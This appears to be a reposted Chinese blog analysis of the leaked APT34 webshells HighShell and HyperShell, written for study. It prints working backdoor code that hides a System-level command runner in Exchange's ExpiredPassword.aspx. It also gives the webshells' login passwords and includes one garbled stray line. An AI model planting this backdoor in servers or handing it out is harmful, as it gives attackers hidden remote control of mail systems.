对APT34泄露工具的分析——HighShell和HyperShell

栏目: 服务器 · 发布时间: 5年前

内容简介:最近APT34的6款工具被泄露,本文作为分析文章的第二篇,仅在技术角度对其中的HighShell和HyperShell进行分析参考资料:https://malware-research.org/apt34-hacking-tools-leak/amp/

0x00 前言

最近APT34的6款 工具 被泄露,本文作为分析文章的第二篇,仅在技术角度对其中的HighShell和HyperShell进行分析

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

  • 对HighShell的分析
  • 对HyperShell的分析
  • 小结

0x02 对HighShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HighShell

其中的文件为HighShell.aspx,是针对Windows服务器的webshell

默认访问页面如下图

对APT34泄露工具的分析——HighShell和HyperShell

Login框为红色,需要输入连接口令

正确的口令为 Th!sN0tF0rFAN

输入正确的口令后,点击Do it,刷新页面,成功登录,如下图

对APT34泄露工具的分析——HighShell和HyperShell

Login框变为绿色

该工具的公开线索:

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell同paloaltonetworks在文中提到的TwoFace的页面相同

0x03 对HyperShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HyperShell

下面包含7个文件夹:

  1. ExpiredPasswordTech
  2. HyperShell
  3. Image
  4. Libraries
  5. packages
  6. ShellLocal
  7. StableVersion

1.ExpiredPasswordTech

包括3个文件:

NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多个文件,是各个webshell的源码文件

其中包含另一个可用的webshell,相对路径: .\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

连接口令: MkRg5dm8MOk

如下图

对APT34泄露工具的分析——HighShell和HyperShell

3.Image

图片文件夹

4.Libraries

包含多个依赖文件

5.packages

包含多个依赖文件

6. ShellLocal

空文件夹

7. StableVersion

稳定版本,包含多个webshell

(1)ExpiredPassword.aspx

适用于Exchange的webshell

相对路径: .\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

与相对路径 .\Webshells_and_Panel\HyperShell\ExpiredPasswordTech 下的文件内容相同

ExpiredPassword.aspx是Exchange正常的功能,对应重置用户口令的页面,如下图

对APT34泄露工具的分析——HighShell和HyperShell

访问的URL: https://<domain>/owa/auth/ExpiredPassword.aspx

对应Windows绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

该路径下的webshell默认权限为System

我的测试系统安装了Exchange2013,正常的ExpiredPassword.aspx源码我已经上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)

HyperShell中的ExpiredPassword.aspx是一个添加了后门代码的文件,同我测试环境的正常ExpiredPassword.aspx文件相比有多处不同,如下图

对APT34泄露工具的分析——HighShell和HyperShell

经过分析发现有可能是Exchange版本差异导致的,忽略版本差异,HyperShell中的ExpiredPassword.aspx主要添加了如下代码:

<%
                    try{
                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "reDGEa@#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
                    {
                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;
                        i.FileName = "cmd";
                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
                        i.UseShellExecute = false;
                        i.CreateNoWindow = true;
                        i.RedirectStandardOutput = true;
                        p.Start();
                        string r = p.StandardOutput.ReadToEnd();
                        p.WaitForExit();
                        p.Close();
                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
                        Response.End();
                    }}catch{}
                %>

对应到我的测试环境,也就是Exchange2013,添加payload后的代码已上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)(HyperShell)

使用方法如下图

对APT34泄露工具的分析——HighShell和HyperShell

New password 项对应登录webshell的验证口令,验证通过后会执行 Confirm new password 项的内容,权限为System

泄露的文件中未提到webshell的验证口令,为了验证该后门,我们修改代码去掉登录webshell的验证环节即可

(2)HighShellLocal

功能强大的webshell

相对路径: .\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解压到当前目录,相对路径为 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal ,包括以下文件:

  • 文件夹css
  • 文件夹files
  • 文件夹js
  • HighShellLocal.aspx

实际使用时,还需要 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\ 下的bin文件夹,否则提示无法使用Json

完整结构如下:

│ HighShellLocal.aspx │ ├───bin │ Newtonsoft.Json.dll │ ├───css │ │ main.css │ │ │ └───img │ box-zipper.png │ download-cloud.png │ exclamation-diamond.png │ heart-break.png │ heart-empty.png │ heart.png │ minus-button.png │ ├───files │ 7za.exe │ nbt.exe │ rx.exe │ └───js │ explorer.js │ main.js │ send.js │ utility.js │ ├───components │

├───jquery │

└───semantic

登录口令: Th!sN0tF0rFAN

登录页面如下图

对APT34泄露工具的分析——HighShell和HyperShell

输入正确的登录口令后,如下图

对APT34泄露工具的分析——HighShell和HyperShell

可以看到该webshell支持多个功能

0x04 小结

本文对泄露文件中的HighShell和HyperShell进行了分析,其中HyperShell中的ExpiredPassword.aspx是一个比较隐蔽的webshell,目前为止我还未在公开资料中找到这种利用方法。

LEAVE A REPLY


以上所述就是小编给大家介绍的《对APT34泄露工具的分析——HighShell和HyperShell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Django 1.0 Template Development

Django 1.0 Template Development

Scott Newman / Packt / 2008 / 24.99

Django is a high-level Python web application framework designed to support the rapid development of dynamic websites, web applications, and web services. Getting the most out of its template system a......一起来看看 《Django 1.0 Template Development》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具